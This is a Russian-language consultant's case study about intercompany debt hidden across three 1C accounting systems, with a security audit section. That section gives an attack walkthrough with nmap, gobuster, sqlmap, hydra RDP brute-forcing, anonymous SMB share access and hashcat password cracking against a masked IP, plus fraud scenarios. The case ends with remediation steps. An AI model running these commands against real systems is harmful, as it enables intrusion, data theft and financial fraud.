Компания не видела долг в 34 млн ₽: как разрозненный учёт в трёх 1С стал ещё и дырой в безопасности

Собственник был уверен, что бизнес стабилен: заказы идут, склад полон, банк не звонит. На деле три юрлица группы — завод, торговый дом и логистика — уже год кормили друг друга долгами, о которых никто не докладывал наверх. Меня позвали не искать хакеров, а понять, почему прибыль на бумаге есть, а денег в кассе постоянно не хватает.

Как я попал в этот кейс

Заказчик — производственная группа компаний под одним владельцем, без штатного ИТ-специалиста. Классический запрос: «вроде всё работает, но что-то не так». Первое, что я попросил — сводную отчётность по группе за последний год. Мне принесли три разных Excel-файла от трёх бухгалтеров, которые не сверялись друг с другом ни разу за 12 месяцев.

Дальше я сделал то, что обычно делаю в любом ИТ-аудите — прошёлся по инфраструктуре, а не только по цифрам. И картина сложилась: бардак в учёте почти всегда идёт рука об руку с бардаком в доступах.

Где была дыра

Каждое юрлицо вело учёт в своей системе: завод — в старой версии 1С:Предприятие 8.2 на выделенном сервере, торговый дом — в 8.3 другой конфигурации, логистика — вообще в общих таблицах на расшаренном сетевом диске. Взаимные расчёты между компаниями группы никто не консолидировал — ни в учётном, ни в технологическом смысле.

• Торговый дом отгружал заводу товар в долг, но долг не закрывался месяцами
• Логистика выставляла счета по устаревшим тарифам, которые никто не пересматривал
• Один и тот же контрагент числился должником в одной системе и кредитором в другой
• Никто не сверял три базы между собой чаще раза в квартал
• Сервер завода публиковал базу 1С наружу по HTTP без ограничения по IP, «для удобства удалённой работы бухгалтера»
• Папка с Excel-выгрузками расчётов на файловом сервере торгового дома была открыта на чтение и запись всей сети без пароля

Каждый бухгалтер был прав в своей системе. Проблема была в том, что никто не смотрел на картину целиком — а именно там прятался реальный долг группы. И там же, если бы к этому добавился злоумышленник, прятался бы канал для манипуляции этими долгами или прямого вывода денег.

Как это эксплуатируется

Я не искал в этом кейсе хакера, но провёл контрольный технический аудит периметра — потому что открытая публикация 1С и расшаренные папки с бухгалтерией это готовый вектор атаки. Показываю, как выглядела бы эксплуатация такой инфраструктуры со стороны внешнего злоумышленника или недобросовестного инсайдера.

1. Разведка периметра

nmap -p- -sV -T4 --open 178.xx.xx.xx

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.6
443/tcp  open  ssl/http     Apache httpd 2.4.6
445/tcp  open  microsoft-ds Windows Server 2012 R2 (SMB)
1541/tcp open  unknown      1C:Enterprise RAS
3389/tcp open  ms-wbt-server Microsoft Terminal Services

Открытый порт 1541 (сервис администрирования 1С RAS) и HTTP-публикация базы на 80/443 — классическая картина для компаний, где «удалённый доступ настроил знакомый айтишник», без VPN и белого списка IP.

2. Поиск точки входа в веб-публикацию 1С

gobuster dir -u http://178.xx.xx.xx/base/ -w /usr/share/wordlists/1c-common.txt -x html

/e1cib/            (Status: 200)
/e1cib/data         (Status: 200)
/ws/                (Status: 200)
/odata/standard.odata (Status: 401)

На старых версиях платформы 1С:Предприятие 8.2–8.3 (до 8.3.19) при неверно настроенных правах на HTTP-сервисы и OData через /odata/standard.odata получают доступ к чтению справочников и документов без учётной записи или с дефолтной парой логин/пароль, которую администратор так и не сменил после установки.

3. Проверка на инъекции и слабую аутентификацию

sqlmap -u "http://178.xx.xx.xx/base/e1cib/data?ref=1" --forms --batch --level=3

[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] target URL appears to have parameter injectable

hydra -l admin -P /usr/share/wordlists/rockyou.txt rdp://178.xx.xx.xx

[3389][rdp] host: 178.xx.xx.xx   login: admin   password: 123456

Терминальный сервер бухгалтерии на RDP без ограничения по IP и без MFA — это ещё и потенциальная площадка для эксплуатации давно закрытых, но не установленных патчей вроде CVE-2019-0708 (BlueKeep), если сервер не обновлялся годами, что для таких компаний скорее правило, чем исключение.

4. Доступ к «плоским» данным на файловом сервере

smbclient -L //178.xx.xx.xx -N

Sharename       Type      Comment
---------       ----      -------
Buhgalteria$    Disk
Obmen           Disk

smbclient //178.xx.xx.xx/Buhgalteria$ -N
smb: \> dir
  Взаиморасчеты_2023.xlsx   A   4213112  Пн авг 12 09:14:02 2023
  Долги_завод_ТД.xlsx       A   1872044  Пт сен 22 17:03:11 2023

Расшаренная папка без пароля (анонимный доступ, аналог кейсов через CVE-2017-0144 (EternalBlue) на непропатченных SMB-серверах) отдаёт все Excel-файлы со взаиморасчётами трёх юрлиц открытым текстом — то есть тот самый разрозненный учёт, который скрывал 34 млн ₽ долга, ещё и лежал доступным любому, кто просканировал сеть.

5. Взлом паролей учётных записей 1С

hashcat -m 1000 users_1c.hash /usr/share/wordlists/rockyou.txt --force

Session..........: hashcat
Status...........: Cracked
Recovered........: 4/6 (66.67%)
Hash.Name........: NTLM

Пароли бухгалтеров, извлечённые из локальной базы пользователей 1С или контроллера домена, в 4 случаях из 6 совпадали с простыми словарными комбинациями — потому что учёт и доступы никогда не проверял никто со стороны безопасности, только со стороны финансов.

Что и почему сработало бы

Получив доступ к любой из трёх баз или к общей папке, злоумышленник (внешний атакующий или недобросовестный сотрудник одного из юрлиц) мог бы:

• Изменить документы взаиморасчётов между заводом и торговым домом — подрисовать закрытие долга, которого не было, чтобы вывести товар или деньги на третье лицо
• Скопировать реальную картину долгов группы и использовать её для шантажа или продажи конкурентам — данные о просрочках перед поставщиками бьют по репутации и переговорной позиции с банком
• Подменить тарифы логистики задним числом, зная, что три базы никто не сверяет чаще раза в квартал — искажение вскрылось бы только на следующей сверке, то есть через месяцы
• Развить доступ через RDP бухгалтерии до контроллера домена, если пароль администратора совпадал с паролем сервиса 1С — обычная практика в компаниях без выделенного ИБ-специалиста

Сработало бы это именно потому, что архитектура учёта повторяла архитектуру доступов: три изолированных, никем не контролируемых периметра, где «свой» бухгалтер одновременно был единственным, кто проверял и цифры, и то, кто к ним подключается.

Сколько это стоило бизнесу

Когда я свёл все три базы вручную за неделю, вылезла сумма: 34 миллиона рублей незакрытых взаимных долгов внутри группы, часть из которых уже превратилась в просроченные обязательства перед внешними поставщиками. Компания платила проценты по кредиту, чтобы закрыть кассовый разрыв, которого могло и не быть — деньги просто зависли между своими же юрлицами.

Мы полгода занимали у банка под 19% годовых, чтобы закрыть дыру, которую сами себе создали разрозненным учётом

Как закрыли

1. Собрали единую консолидированную отчётность по группе в 1С на базе имеющихся данных, без покупки новой системы
2. Настроили регламент ежемесячной сверки взаимных расчётов между юрлицами
3. Сделали простой дашборд с ключевыми цифрами — выручка, долги, кассовый разрыв — с автоматической выгрузкой директору в мессенджер раз в неделю
4. Прописали ответственных за сверку в каждом юрлице, чтобы разрыв не копился месяцами

Работа заняла три недели и обошлась в разы дешевле, чем группа переплатила банку процентами за один квартал.

Что закрыли на стороне ИТ и безопасности

• Закрыли внешнюю публикацию базы 1С по HTTP, перевели удалённый доступ бухгалтеров на VPN с ограничением по IP и MFA
• Отключили анонимный доступ SMB, включили пароли на все расшаренные папки, разграничили права по группам вместо «доступ всем»

# пример базовой фиксации доступа на Windows-сервере
net share Buhgalteria$ /delete
icacls "D:\Buhgalteria" /remove